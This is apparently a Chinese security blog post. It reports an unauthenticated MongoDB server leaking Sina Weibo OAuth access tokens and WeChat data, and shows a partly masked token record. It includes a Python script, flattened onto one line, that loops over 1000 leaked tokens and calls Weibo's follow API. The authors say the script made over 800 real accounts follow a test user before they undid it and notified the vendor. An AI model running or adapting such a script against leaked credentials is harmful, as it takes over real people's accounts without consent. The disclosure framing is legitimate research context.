背景
在前段時間邪紅F1,2,4發出《Mongodb unauthorized access vulnerability global probing report》后,我們對這些受影響的列表進行了簡單的數據分析,其中發現了一個有趣的主機。
數據泄露
其中這臺Mongodb數據主機存儲著大量的微信公眾號信息,新浪微博授權信息等敏感信息,其中我們對新浪微博授權信息進行簡單的測試。
測試過程
篩選1000條存儲的用戶新浪微博的授權數據,其中格式為:
{"_modified":ISODate("2014-09-14T06:30:33.718Z"),"_created":ISODate("2014-09-14T06:30:33.718Z"),"uid":"163****265","url":"u/163****265","name":"貓****","screenName":"貓****","accessToken":"2.00LniemB******d10ba02ef5oEMJTB","description":"","verified":false,"logo":"http://tp2.sinaimg.cn/1635102265/50/4000*****04/1","logoLarge":"http://tp2.sinaimg.cn/1635102265/180/4000*****04/1","type":"normal","_id":"14872d****48a87"}
其中數據泄露新浪微博用戶授權成功后的accessToken值,將數據以JSON進行導出后使用Python進行處理,提取出1000條accessToken方便進行測試。
statuses/user_timeline/ids 獲取用戶發布的微博的ID
之后我們使用關注用戶API進行簡單的測試,編寫腳本批量的利用泄露的accessToken值進行關注用戶:
#!/usr/bin/env python# coding=utf8# author=evi1m0#ff0000teamimportrequestsf=open('./accessToken.txt','r')flag=1foriinf:api_url='https://api.weibo.com/2/friendships/create.json'post={"uid":"5238604657","access_token":i.split()}requests.post(api_url,data=post)flag+=1print'[*] '+str(flag)+': '+api_urlprintpostprint
其中uid為關注用戶的UID,遍歷./accessToken.txt中的accessToken進行請求,于是不一會兒的功夫我們測試微博收到了新增800多個粉絲的消息,后面我們又利用取消關注API進行了取消操作。
狀態
我們沒有對這些數據進行惡意利用,目前已提交給官方進行及時修復:)